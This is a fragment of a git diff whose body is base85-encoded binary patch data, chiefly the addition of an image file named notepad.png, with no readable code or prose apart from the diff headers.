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 Cs?6vB literal 0 HcmV?d00001 diff --git a/notepad.png b/notepad.png new file mode 100644 index 0000000000000000000000000000000000000000..02acaae4888a069bc4bd3929439ff293ce9402be GIT binary patch literal 44470 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 